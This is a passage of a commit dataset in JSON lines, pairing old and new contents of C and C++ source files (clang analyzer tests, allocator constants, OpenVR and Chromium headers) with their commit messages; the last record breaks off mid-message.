{"commit":"c761f40467a76c5bba819324ddc489c214c5a5da","old_file":"test\/Analysis\/uninit-vals-ps-region.c","new_file":"test\/Analysis\/uninit-vals-ps-region.c","old_contents":"\/\/ RUN: clang-cc -analyze -checker-cfref -analyzer-store=region -verify %s\n\nstruct s {\n  int data;\n};\n\nstruct s global;\n\nvoid g(int);\n\nvoid f4() {\n  int a;\n  if (global.data == 0)\n    a = 3;\n  if (global.data == 0) \/\/ When the true branch is feasible 'a = 3'.\n    g(a); \/\/ no-warning\n}\n","new_contents":"\/\/ RUN: clang-cc -analyze -checker-cfref -analyzer-store=region -verify %s\n\nstruct s {\n  int data;\n};\n\nstruct s global;\n\nvoid g(int);\n\nvoid f4() {\n  int a;\n  if (global.data == 0)\n    a = 3;\n  if (global.data == 0) \/\/ When the true branch is feasible 'a = 3'.\n    g(a); \/\/ no-warning\n}\n\n\n\/\/ Test uninitialized value due to part of the structure being uninitialized.\nstruct TestUninit { int x; int y; };\nstruct TestUninit test_uninit_aux();\nvoid test_uninit_pos() {\n  struct TestUninit v1 = { 0, 0 };\n  struct TestUninit v2 = test_uninit_aux();\n  int z;\n  v1.y = z;\n  test_unit_aux2(v2.x + v1.y);  \/\/ expected-warning{{Pass-by-value argument in function call is undefined}}\n}\nvoid test_uninit_neg() {\n  struct TestUninit v1 = { 0, 0 };\n  struct TestUninit v2 = test_uninit_aux();\n  test_unit_aux2(v2.x + v1.y); \/\/ no-warning\n}\n\n","subject":"Add uninitialized values test case.","message":"Add uninitialized values test case.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@80388 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"cfd228e32d8544d1bf088106060a88479dc5fbb6","old_file":"intf\/include\/monsoon\/metric_value-inl.h","new_file":"intf\/include\/monsoon\/metric_value-inl.h","old_contents":"#ifndef MONSOON_METRIC_VALUE_INL_H\n#define MONSOON_METRIC_VALUE_INL_H\n\n#include <utility>\n\nnamespace monsoon {\n\n\ninline metric_value::metric_value(metric_value&& other) noexcept\n: value_(std::move(other.value_))\n{}\n\ninline auto metric_value::operator=(metric_value&& other) noexcept\n->  metric_value& {\n  value_ = std::move(other.value_);\n  return *this;\n}\n\ninline metric_value::metric_value(bool v) noexcept\n: value_(types::create<0>(v))\n{}\n\ninline metric_value::metric_value(long v) noexcept\n: value_(types::create<1>(v))\n{}\n\ninline metric_value::metric_value(unsigned long v) noexcept\n: value_(types::create<2>(v))\n{}\n\ninline metric_value::metric_value(double v) noexcept\n: value_(types::create<3>(v))\n{}\n\ninline metric_value::metric_value(std::string v) noexcept\n: value_(types::create<4>(std::move(v)))\n{}\n\ninline auto metric_value::operator!=(const metric_value& other) const noexcept\n->  bool {\n  return !(*this == other);\n}\n\ninline auto metric_value::get() const noexcept -> const optional<types>& {\n  return value_;\n}\n\n\n} \/* namespace monsoon *\/\n\n#endif \/* MONSOON_METRIC_VALUE_INL_H *\/\n","new_contents":"#ifndef MONSOON_METRIC_VALUE_INL_H\n#define MONSOON_METRIC_VALUE_INL_H\n\n#include <utility>\n\nnamespace monsoon {\n\n\ninline metric_value::metric_value(metric_value&& other) noexcept\n: value_(std::move(other.value_))\n{}\n\ninline auto metric_value::operator=(metric_value&& other) noexcept\n->  metric_value& {\n  value_ = std::move(other.value_);\n  return *this;\n}\n\ninline metric_value::metric_value(bool v) noexcept\n: value_(types::create<0>(v))\n{}\n\ninline metric_value::metric_value(long v) noexcept\n: value_(v >= 0 ? types::create<2>(v) : types::create<1>(v))\n{}\n\ninline metric_value::metric_value(unsigned long v) noexcept\n: value_(types::create<2>(v))\n{}\n\ninline metric_value::metric_value(double v) noexcept\n: value_(types::create<3>(v))\n{}\n\ninline metric_value::metric_value(std::string v) noexcept\n: value_(types::create<4>(std::move(v)))\n{}\n\ninline auto metric_value::operator!=(const metric_value& other) const noexcept\n->  bool {\n  return !(*this == other);\n}\n\ninline auto metric_value::get() const noexcept -> const optional<types>& {\n  return value_;\n}\n\n\n} \/* namespace monsoon *\/\n\n#endif \/* MONSOON_METRIC_VALUE_INL_H *\/\n","subject":"Use an unsigned long for non-negative longs.","message":"Use an unsigned long for non-negative longs.\n","lang":"C","license":"bsd-2-clause","repos":"nahratzah\/monsoon_plus_plus,nahratzah\/monsoon_plus_plus,nahratzah\/monsoon_plus_plus"}
{"commit":"4ebbd5b7b92a0b184605c9a64a16e49417ce37a2","old_file":"Sources\/FKBenchmark.h","new_file":"Sources\/FKBenchmark.h","old_contents":"\/\/ Part of FoundationKit http:\/\/foundationk.it\n\n#import <mach\/mach_time.h>\n#import \"FKInternal.h\"\n\n\/**\n If we are in Debug-Mode this functions benchmarks the given block and logs\n information about it's duration. Otherwise the block is just executed.\n \n @param title the name of the benchmark\n @param block the block to benchmark\n *\/\nNS_INLINE void FKBenchmark(NSString *title, dispatch_block_t block) {\n  if (block == nil) {\n    return;\n  }\n  if (title == nil) {\n    title = @\"<untitled>\";\n  }\n  \n#ifdef FK_DEBUG\n  ^{\n    FKLogAlways(@\"'%@' benchmark started...\", title);\n    \n    const uint64_t start = mach_absolute_time();\n    block();\n    const uint64_t end = mach_absolute_time();\n    const uint64_t elapsedMTU = end - start;\n    \n    \/\/ Get information for converting from MTU to nanoseconds\n    mach_timebase_info_data_t info;\n    mach_timebase_info(&info);\n    \n    \/\/ Get elapsed time in nanoseconds:\n    const double elapsedNS = (double)elapsedMTU * (double)info.numer \/ (double)info.denom;\n    FKLogAlways(@\"'%@' benchmark finished: %fs (%fns)\", title, elapsedNS \/ NSEC_PER_SEC, elapsedNS);\n  }();\n#else\n  block();\n#endif\n}\n","new_contents":"\/\/ Part of FoundationKit http:\/\/foundationk.it\n\n#import <mach\/mach_time.h>\n#import \"FKInternal.h\"\n\n\/**\n If we are in Debug-Mode this functions benchmarks the given block and logs\n information about it's duration. Otherwise the block is just executed.\n \n @param title the name of the benchmark\n @param block the block to benchmark\n *\/\nNS_INLINE void FKBenchmark(NSString *title, dispatch_block_t block) {\n  if (block == nil) {\n    return;\n  }\n  \n#ifdef FK_DEBUG\n  ^{\n    if (title == nil) {\n      title = @\"<untitled>\";\n    }\n    \n    FKLogAlways(@\"'%@' benchmark started...\", title);\n    \n    const uint64_t start = mach_absolute_time();\n    block();\n    const uint64_t end = mach_absolute_time();\n    const uint64_t elapsedMTU = end - start;\n    \n    \/\/ Get information for converting from MTU to nanoseconds\n    mach_timebase_info_data_t info;\n    mach_timebase_info(&info);\n    \n    \/\/ Get elapsed time in nanoseconds:\n    const double elapsedNS = (double)elapsedMTU * (double)info.numer \/ (double)info.denom;\n    FKLogAlways(@\"'%@' benchmark finished: %fs (%fns)\", title, elapsedNS \/ NSEC_PER_SEC, elapsedNS);\n  }();\n#else\n  block();\n#endif\n}\n","subject":"Fix analyzer warning that title is not read","message":"Fix analyzer warning that title is not read\n","lang":"C","license":"mit","repos":"foundationkit\/FoundationKit,foundationkit\/FoundationKit,foundationkit\/FoundationKit"}
{"commit":"db57bd7faea002d5e73e0468a6e131416c1059df","old_file":"phase-01\/main.c","new_file":"phase-01\/main.c","old_contents":"#include <stdlib.h>\n\nint main(int argc, char *argv[])\n{\n  return EXIT_SUCCESS;\n}\n","new_contents":"\/**\n * Phase 01 - Get a Window that works and can be closed.\n *\n * This code won't be structured very well, just trying to get stuff working.\n *\/\n#include <stdlib.h>\n\nint main(int argc, char *argv[])\n{\n  return EXIT_SUCCESS;\n}\n","subject":"Add a little header explaining the purpose of phase-01","message":"Add a little header explaining the purpose of phase-01\n","lang":"C","license":"mit","repos":"Faison\/xlib-learning"}
{"commit":"111522b5ef16dd6907e194a6b1f4d9af5d0dc0fa","old_file":"code\/src\/util\/tools.h","new_file":"code\/src\/util\/tools.h","old_contents":"\/*\n * tools.h\n *\n *  Created on: May 4, 2011\n *      Author: wozniak\n *\/\n\n#ifndef TOOLS_H\n#define TOOLS_H\n\n\/**\n   Determine the length of an array of pointers\n *\/\nint array_length(void** array);\n\n#define append(string, args...) string += sprintf(string, ## args)\n\n#endif \/* TOOLS_H_ *\/\n","new_contents":"\/*\n * tools.h\n *\n *  Created on: May 4, 2011\n *      Author: wozniak\n *\/\n\n#ifndef TOOLS_H\n#define TOOLS_H\n\n\/**\n   Determine the length of an array of pointers\n *\/\nint array_length(void** array);\n\n#define append(string,  args...) string += sprintf(string, ## args)\n#define vappend(string, args...) string += vsprintf(string, ## args)\n\n#endif\n","subject":"Check in new macro vappend()- not actually used","message":"Check in new macro vappend()- not actually used\n\n\ngit-svn-id: 4403cc1077de9de61ebbb06aa07b0a825c555f62@1737 dc4e9af1-7f46-4ead-bba6-71afc04862de\n","lang":"C","license":"apache-2.0","repos":"basheersubei\/swift-t,swift-lang\/swift-t,JohnPJenkins\/swift-t,JohnPJenkins\/swift-t,JohnPJenkins\/swift-t,swift-lang\/swift-t,swift-lang\/swift-t,blue42u\/swift-t,swift-lang\/swift-t,blue42u\/swift-t,blue42u\/swift-t,swift-lang\/swift-t,JohnPJenkins\/swift-t,blue42u\/swift-t,swift-lang\/swift-t,blue42u\/swift-t,swift-lang\/swift-t,basheersubei\/swift-t,JohnPJenkins\/swift-t,JohnPJenkins\/swift-t,basheersubei\/swift-t,blue42u\/swift-t,basheersubei\/swift-t,blue42u\/swift-t,basheersubei\/swift-t,JohnPJenkins\/swift-t,basheersubei\/swift-t,basheersubei\/swift-t"}
{"commit":"947bb5ff14287bac17e03a6de4998384a6b72afe","old_file":"partition\/Diffusive\/src\/engpar_sides.h","new_file":"partition\/Diffusive\/src\/engpar_sides.h","old_contents":"#ifndef ENGPAR_SIDES_H\n#define ENGPAR_SIDES_H\n\n#include <ngraph.h>\n#include <PCU.h>\n#include \"engpar_container.h\"\n#include <engpar_metrics.h>\n#include \"engpar_diffusive_input.h\"\n\nnamespace engpar {\n  class Sides : public Container<int>  {\n  public:\n    Sides(agi::Ngraph* g, agi::etype t) {\n      agi::Ngraph* graph = g;\n      agi::GraphEdge* edge;\n      agi::EdgeIterator* eitr = graph->begin(t);\n      while ((edge = graph->iterate(eitr))) {\n        agi::Peers res;\n        g->getResidence(edge,res);\n        if (res.size()>1) {\n          agi::Peers::iterator itr;\n          for (itr=res.begin();itr!=res.end();itr++) {\n            if (*itr!=PCU_Comm_Self()) {\n              increment2(*itr);\n            }\n          }\n          my_total++;\n        }\n      }\n      g->destroy(eitr);\n    }\n  };\n\n  Sides* makeSides(DiffusiveInput* in);\n  Sides* makeSides(agi::Ngraph* g, agi::etype t);\n  \n}\n\n#endif\n","new_contents":"#ifndef ENGPAR_SIDES_H\n#define ENGPAR_SIDES_H\n\n#include <ngraph.h>\n#include <PCU.h>\n#include \"engpar_container.h\"\n#include <engpar_metrics.h>\n#include \"engpar_diffusive_input.h\"\n\nnamespace engpar {\n  class Sides : public Container<int>  {\n  public:\n    Sides(agi::Ngraph* g, agi::etype t) {\n      agi::Ngraph* graph = g;\n      agi::GraphEdge* edge;\n      agi::EdgeIterator* eitr = graph->begin(t);\n      while ((edge = graph->iterate(eitr))) {\n        agi::Peers res;\n        g->getResidence(edge,res);\n        if (res.size()>1) {\n          agi::Peers::iterator itr;\n          for (itr=res.begin();itr!=res.end();itr++) {\n            if (*itr != PCU_Comm_Self()) {\n              (*this)[*itr]+=g->weight(edge);\n            }\n          }\n          my_total+= g->weight(edge);\n        }\n      }\n      g->destroy(eitr);\n    }\n  };\n\n  Sides* makeSides(DiffusiveInput* in);\n  Sides* makeSides(agi::Ngraph* g, agi::etype t);\n  \n}\n\n#endif\n","subject":"Add edge weights to side calculations","message":"Add edge weights to side calculations\n","lang":"C","license":"bsd-3-clause","repos":"SCOREC\/EnGPar,SCOREC\/EnGPar,SCOREC\/EnGPar"}
{"commit":"cc41ed4411ea07febb3e03fd525ea2981e086643","old_file":"ext\/baz\/baz_vector_ruby.h","new_file":"ext\/baz\/baz_vector_ruby.h","old_contents":"\/\/ ext\/baz\/baz_vector_ruby.h\n\n#ifndef BAZ_VECTOR_RUBY_H\n#define BAZ_VECTOR_RUBY_H\n\n#include \"baz_vector_lib.h\"\n#include <ruby.h>\n\nvoid init_baz_vector( VALUE parent_module );\n\n#endif\n","new_contents":"\/\/ ext\/baz\/baz_vector_ruby.h\n\n#ifndef BAZ_VECTOR_RUBY_H\n#define BAZ_VECTOR_RUBY_H\n\n#include \"baz_vector_lib.h\"\n#include <ruby.h>\n\n\/\/ Ruby 1.8.7 compatibility patch\n#ifndef DBL2NUM\n#define DBL2NUM( dbl_val ) rb_float_new( dbl_val )\n#endif\n\nvoid init_baz_vector( VALUE parent_module );\n\n#endif\n","subject":"Add definition of DBL2NUM for 1.8.7","message":"Add definition of DBL2NUM for 1.8.7\n","lang":"C","license":"mit","repos":"neilslater\/ruby_nex_cpp,neilslater\/ruby_nex_cpp,neilslater\/ruby_nex_cpp"}
{"commit":"8cef253d30d0099fcaadb47e30c98f754b8e8a41","old_file":"content\/browser\/renderer_host\/quota_dispatcher_host.h","new_file":"content\/browser\/renderer_host\/quota_dispatcher_host.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CONTENT_BROWSER_RENDERER_HOST_QUOTA_DISPATCHER_HOST_H_\n#define CONTENT_BROWSER_RENDERER_HOST_QUOTA_DISPATCHER_HOST_H_\n\n#include \"base\/basictypes.h\"\n#include \"content\/browser\/browser_message_filter.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebStorageQuotaType.h\"\n\nclass GURL;\n\nclass QuotaDispatcherHost : public BrowserMessageFilter {\n public:\n  ~QuotaDispatcherHost();\n  bool OnMessageReceived(const IPC::Message& message, bool* message_was_ok);\n\n private:\n  void OnQueryStorageUsageAndQuota(\n      int request_id,\n      const GURL& origin_url,\n      WebKit::WebStorageQuotaType type);\n  void OnRequestStorageQuota(\n      int request_id,\n      const GURL& origin_url,\n      WebKit::WebStorageQuotaType type,\n      int64 requested_size);\n};\n\n#endif  \/\/ CONTENT_BROWSER_RENDERER_HOST_QUOTA_DISPATCHER_HOST_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CONTENT_BROWSER_RENDERER_HOST_QUOTA_DISPATCHER_HOST_H_\n#define CONTENT_BROWSER_RENDERER_HOST_QUOTA_DISPATCHER_HOST_H_\n\n#include \"base\/basictypes.h\"\n#include \"content\/browser\/browser_message_filter.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebStorageQuotaType.h\"\n\nclass GURL;\n\nclass QuotaDispatcherHost : public BrowserMessageFilter {\n public:\n  ~QuotaDispatcherHost();\n  virtual bool OnMessageReceived(const IPC::Message& message,\n                                 bool* message_was_ok);\n\n private:\n  void OnQueryStorageUsageAndQuota(\n      int request_id,\n      const GURL& origin_url,\n      WebKit::WebStorageQuotaType type);\n  void OnRequestStorageQuota(\n      int request_id,\n      const GURL& origin_url,\n      WebKit::WebStorageQuotaType type,\n      int64 requested_size);\n};\n\n#endif  \/\/ CONTENT_BROWSER_RENDERER_HOST_QUOTA_DISPATCHER_HOST_H_\n","subject":"Fix clang build that have been broken by 81364.","message":"Fix clang build that have been broken by 81364.\n\nBUG=none\nTEST=green tree\nTBR=jam\n\nReview URL: http:\/\/codereview.chromium.org\/6838008\n\ngit-svn-id: http:\/\/src.chromium.org\/svn\/trunk\/src@81368 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n\nFormer-commit-id: 72f86cdd70ccbe468222911d421f064981d34746","lang":"C","license":"bsd-3-clause","repos":"meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser"}
{"commit":"8b7b69ad99b2a227dfb42ec0240883d4f3354224","old_file":"src\/common.h","new_file":"src\/common.h","old_contents":"#pragma once\n\n#include <cstdio>\n\n\/\/ HACK: No idea where this should actually be defined\n#define nullptr 0x0\n#pragma GCC diagnostic ignored \"-Wattributes\"\n#include \"openvr.h\"\n#pragma GCC diagnostic warning \"-Wattributes\"\nusing namespace vr;\n\n#ifdef __x86_64__\n\/\/ MS instead of SysV ABI for 64bit\n#define WOVR_ENTRY __attribute__((ms_abi))\n#else\n\/\/ Thispointer-in-ECX for 32bit\n#define WOVR_ENTRY __attribute__((thiscall))\n#endif\n","new_contents":"#pragma once\n\n#include <cstdio>\n\n\/\/ HACK: No idea where this should actually be defined\n#define nullptr 0x0\n\/\/ If _WIN32 is defined, openvr.h will decorate the exported functions with __declspec(dllimport) which implies\n\/\/ __attribute__((ms_abi)). This makes things explode, as we need to call them with SysV ABI.\n#undef _WIN32\n#include \"openvr.h\"\nusing namespace vr;\n\n#ifdef __x86_64__\n\/\/ MS instead of SysV ABI for 64bit\n#define WOVR_ENTRY __attribute__((ms_abi))\n#else\n\/\/ Thispointer-in-ECX for 32bit\n#define WOVR_ENTRY __attribute__((thiscall))\n#endif\n","subject":"Fix implied ms_abi where it shouldn't be","message":"Fix implied ms_abi where it shouldn't be\n","lang":"C","license":"bsd-3-clause","repos":"roothorick\/WineOpenVR,roothorick\/WineOpenVR,roothorick\/WineOpenVR"}
{"commit":"2060f21af2c0e469250ab8c30370739b24b18e9e","old_file":"src\/common.h","new_file":"src\/common.h","old_contents":"\/\/ Copyright (c) 2012-2013, the scalloc Project Authors.  All rights reserved.\n\/\/ Please see the AUTHORS file for details.  Use of this source code is governed\n\/\/ by a BSD license that can be found in the LICENSE file.\n\n#ifndef SCALLOC_COMMON_H_\n#define SCALLOC_COMMON_H_\n\n#include <stddef.h>  \/\/ size_t\n\n#include \"config.h\"\n\n#define UNLIKELY(x)   __builtin_expect((x), 0)\n#define LIKELY(x)     __builtin_expect((x), 1)\n\n#define cache_aligned __attribute__((aligned(64)))\n\n#define always_inline inline __attribute__((always_inline))\n#define no_inline __attribute__((noinline))\n\nconst size_t kSystemPageSize = PAGE_SIZE;\n\n\/\/ Prohibit reordering of instructions by the compiler.\ninline void CompilerBarrier() {\n  __asm__ __volatile__(\"\" : : : \"memory\");\n}\n\n\/\/ Full memory fence on x86-64\ninline void MemoryBarrier() {\n  __asm__ __volatile__(\"mfence\" : : : \"memory\");\n}\n\nalways_inline size_t PadSize(size_t size, size_t multiple) {\n  return (size + multiple - 1) \/ multiple * multiple;\n}\n\n#endif  \/\/ SCALLOC_COMMON_H_\n","new_contents":"\/\/ Copyright (c) 2012-2013, the scalloc Project Authors.  All rights reserved.\n\/\/ Please see the AUTHORS file for details.  Use of this source code is governed\n\/\/ by a BSD license that can be found in the LICENSE file.\n\n#ifndef SCALLOC_COMMON_H_\n#define SCALLOC_COMMON_H_\n\n#include <stddef.h>  \/\/ size_t\n\n#include \"config.h\"\n\n#define UNLIKELY(x)   __builtin_expect((x), 0)\n#define LIKELY(x)     __builtin_expect((x), 1)\n\n#define cache_aligned __attribute__((aligned(64)))\n\n#define always_inline inline __attribute__((always_inline))\n#define no_inline __attribute__((noinline))\n\nconst size_t kSystemPageSize = PAGE_SIZE;\n\nconst size_t kMinAlignment = 16;\n\nconst size_t kMaxSmallSize = 512;\n\nconst size_t kNumClasses = kMaxSmallSize \/ kMinAlignment;\n\n\/\/ Prohibit reordering of instructions by the compiler.\ninline void CompilerBarrier() {\n  __asm__ __volatile__(\"\" : : : \"memory\");\n}\n\n\/\/ Full memory fence on x86-64\ninline void MemoryBarrier() {\n  __asm__ __volatile__(\"mfence\" : : : \"memory\");\n}\n\nalways_inline size_t PadSize(size_t size, size_t multiple) {\n  return (size + multiple - 1) \/ multiple * multiple;\n}\n\n#endif  \/\/ SCALLOC_COMMON_H_\n","subject":"Add some allocator constants like minimum alignment or maximum small size.","message":"Add some allocator constants like minimum alignment or maximum small size.\n\nSigned-off-by: Michael Lippautz <0d543840881a2c189b4f7636b15eebd6a8f60ace@gmail.com>\n","lang":"C","license":"bsd-2-clause","repos":"cksystemsgroup\/scalloc,cksystemsgroup\/scalloc,cksystemsgroup\/scalloc"}
{"commit":"5c18be3539a8150fc3f18a482fc077b881c2dc90","old_file":"firmware\/ShinyeiPPD42NS\/ShinyeiPPD42NS.h","new_file":"firmware\/ShinyeiPPD42NS\/ShinyeiPPD42NS.h","old_contents":"#include <cmath>\n\nclass ShinyeiPPD42NS {\n  public:\n    ShinyeiPPD42NS(unsigned long sampling_interval_ms) {\n\t  _sampling_interval_ms = sampling_interval_ms;\n\t  _is_sampling_complete = false;\n\t}\n    void startSampling(unsigned long stms);\n    float getConcentration(unsigned long duration, unsigned long current_time_ms);\n    bool isSamplingComplete();\n  private:\n    ShinyeiPPD42NS() { }\n    unsigned long _start_time_ms;\n    unsigned long _low_pulse_occupancy;\t\n    unsigned long _sampling_interval_ms;\n    float _concentration;\n    bool _is_sampling_complete;\n};\n","new_contents":"#include <cmath>\n\nclass ShinyeiPPD42NS {\n  public:\n    ShinyeiPPD42NS(float sampling_interval_ms) {\n\t  _sampling_interval_ms = sampling_interval_ms;\n\t  _is_sampling_complete = false;\n\t}\n    void startSampling(unsigned long stms);\n    float getConcentration(unsigned long duration, unsigned long current_time_ms);\n    bool isSamplingComplete();\n  private:\n    ShinyeiPPD42NS() { }\n    unsigned long _start_time_ms;\n    unsigned long _low_pulse_occupancy;\t\n    float _sampling_interval_ms;\n    float _concentration;\n    bool _is_sampling_complete;\n};\n","subject":"Improve precision for dust particle counts","message":"Improve precision for dust particle counts\n","lang":"C","license":"mit","repos":"Rockvole\/indoor-air-quality-dashboard,Rockvole\/indoor-air-quality-dashboard,Rockvole\/indoor-air-quality-dashboard,Rockvole\/indoor-air-quality-dashboard,Rockvole\/indoor-air-quality-dashboard"}
{"commit":"97461cc2b13d7084eeb38442b845cf1d96621364","old_file":"Ashton\/AshtonObjc\/AshtonObjcMixedContentPreprocessor.h","new_file":"Ashton\/AshtonObjc\/AshtonObjcMixedContentPreprocessor.h","old_contents":"\/\/\n\/\/  AshtonObjcMixedContentPreprocessor.h\n\/\/  Ashton\n\/\/\n\/\/  Created by Michael Schwarz on 15.01.18.\n\/\/  Copyright © 2018 Michael Schwarz. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\nNS_ASSUME_NONNULL_BEGIN\n\n@interface AshtonObjcMixedContentPreprocessor: NSObject\n\n- (NSString *)preprocessHTMLString:(NSString *)htmlString;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","new_contents":"\/\/\n\/\/  AshtonObjcMixedContentPreprocessor.h\n\/\/  Ashton\n\/\/\n\/\/  Created by Michael Schwarz on 15.01.18.\n\/\/  Copyright © 2018 Michael Schwarz. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/\/\/ TBXML parser cannot handle html mixed content, therefore we have to preprocess it\n\/\/\/ mixedContent = \"<html>test <strong>sample<\/strong><\/html>\", will be processed to\n\/\/\/ \"<html><wrapped>test <\/wrapped><strong><wrapped>sample<\/wrapped><\/strong><\/html>\n@interface AshtonObjcMixedContentPreprocessor: NSObject\n\n- (NSString *)preprocessHTMLString:(NSString *)htmlString;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Add comment regarding mixed content preprocessor","message":"Add comment regarding mixed content preprocessor\n","lang":"C","license":"mit","repos":"IdeasOnCanvas\/Ashton,IdeasOnCanvas\/Ashton,IdeasOnCanvas\/Ashton"}
{"commit":"7a949e2764e67c9722d6cead0bd465ac80bf83b1","old_file":"include\/joy\/internal\/strcat.h","new_file":"include\/joy\/internal\/strcat.h","old_contents":"","new_contents":"\/*!\n * This file defines an interface to fold preprocessor strings into one token.\n *\n * @author Louis Dionne\n *\/\n\n#ifndef JOY_INTERNAL_STRCAT_H\n#define JOY_INTERNAL_STRCAT_H\n\n#include <chaos\/preprocessor\/recursion\/expr.h>\n#include <chaos\/preprocessor\/algorithm\/fold_right.h>\n#include <chaos\/preprocessor\/string\/core.h>\n\n\n#define JOY_STRING_CAT(string) \\\n    JOY_STRING_CAT_S(CHAOS_PP_STATE(), string)\n\n#define JOY_STRING_CAT_S(state, string)                                        \\\n    CHAOS_PP_EXPR_S(state) (                                                   \\\n        CHAOS_PP_FOLD_RIGHT_S(state,                                           \\\n            JOY_I_STRING_CAT_TWO,                                              \\\n            (CHAOS_PP_STRING) string,                                          \\\n            \/* no initial state of accumulation *\/                             \\\n        )                                                                      \\\n    )                                                                          \\\n\/**\/\n\n#define JOY_I_STRING_CAT_TWO(state, head, tail) \\\n    CHAOS_PP_CAT(head, tail)\n\n#endif \/* !JOY_INTERNAL_STRCAT_H *\/\n","subject":"Add a facility to concatenate preprocessor strings.","message":"Add a facility to concatenate preprocessor strings.\n","lang":"C","license":"mit","repos":"ldionne\/joy,ldionne\/joy"}
{"commit":"355c96ef5a42de8929a53c8dbd4d852cb6d61181","old_file":"test\/Sema\/x86-intrinsics-headers.c","new_file":"test\/Sema\/x86-intrinsics-headers.c","old_contents":"\/\/ RUN: %clang -fsyntax-only %s\n\/\/ RUN: %clang -fsyntax-only -fno-lax-vector-conversions %s\n\/\/ RUN: %clang -fsyntax-only -x c++ %s\n\n#if defined(i386) || defined(__x86_64__)\n\n#  if defined(__MMX__)\n#include <emmintrin.h>\n#include <mm_malloc.h>\n#  endif\n\n#  if defined(__SSE__)\n#include <xmmintrin.h>\n#  endif\n\n#  if defined(__SSE3__)\n#include <pmmintrin.h>\n#  endif\n\n#  if defined(__SSSE3__)\n#include <tmmintrin.h>\n#  endif\n\n#endif\n","new_contents":"\/\/ RUN: %clang -fsyntax-only %s\n\/\/ RUN: %clang -fsyntax-only -fno-lax-vector-conversions %s\n\/\/ RUN: %clang -fsyntax-only -x c++ %s\n\n#if defined(i386) || defined(__x86_64__)\n\n#  if defined(__MMX__)\n#include <emmintrin.h>\n#include <mm_malloc.h>\n#  endif\n\n#  if defined(__SSE__)\n#include <xmmintrin.h>\n#  endif\n\n#  if defined(__SSE3__)\n#include <pmmintrin.h>\n#  endif\n\n#  if defined(__SSSE3__)\n#include <tmmintrin.h>\n#  endif\n\n#  if defined(__SSE4_1__)\n#include <smmintrin.h>\n#  endif\n\n#endif\n","subject":"Add include for smmintrin.h to this test.","message":"Add include for smmintrin.h to this test.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@99019 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"c1089b86e56123ae7556f19d809d19edd4974c74","old_file":"Utilities\/vxl\/v3p\/netlib\/libf2c\/c_sqrt.c","new_file":"Utilities\/vxl\/v3p\/netlib\/libf2c\/c_sqrt.c","old_contents":"#include \"v3p_f2c.h\"\n\n#ifdef KR_headers\nextern double sqrt(), f__cabs();\n\nVOID c_sqrt(r, z) complex *r, *z;\n#else\n#undef abs\n#include \"math.h\"\n#ifdef __cplusplus\nextern \"C\" {\n#endif\nextern double f__cabs(double, double);\n\nvoid c_sqrt(complex *r, complex *z)\n#endif\n{\n        double mag, t;\n        double zi = z->i, zr = z->r;\n\n        if( (mag = f__cabs(zr, zi)) == 0.)\n                r->r = r->i = 0.;\n        else if(zr > 0)\n                {\n                r->r = t = sqrt(0.5 * (mag + zr) );\n                t = zi \/ t;\n                r->i = 0.5 * t;\n                }\n        else\n                {\n                t = sqrt(0.5 * (mag - zr) );\n                if(zi < 0)\n                        t = -t;\n                r->i = t;\n                t = zi \/ t;\n                r->r = 0.5 * t;\n                }\n        }\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"#include \"v3p_f2c.h\"\n\n#ifdef KR_headers\nextern double sqrt(), f__cabs();\n\nVOID c_sqrt(r, z) complex *r, *z;\n#else\n#undef abs\n#include \"math.h\"\n#ifdef __cplusplus\nextern \"C\" {\n#endif\nextern double f__cabs(double, double);\n\n#undef complex\n#define complex v3p_netlib_complex\n\nvoid c_sqrt(complex *r, complex *z)\n#endif\n{\n        double mag, t;\n        double zi = z->i, zr = z->r;\n\n        if( (mag = f__cabs(zr, zi)) == 0.)\n                r->r = r->i = 0.;\n        else if(zr > 0)\n                {\n                r->r = t = sqrt(0.5 * (mag + zr) );\n                t = zi \/ t;\n                r->i = 0.5 * t;\n                }\n        else\n                {\n                t = sqrt(0.5 * (mag - zr) );\n                if(zi < 0)\n                        t = -t;\n                r->i = t;\n                t = zi \/ t;\n                r->r = 0.5 * t;\n                }\n        }\n#ifdef __cplusplus\n}\n#endif\n","subject":"Fix 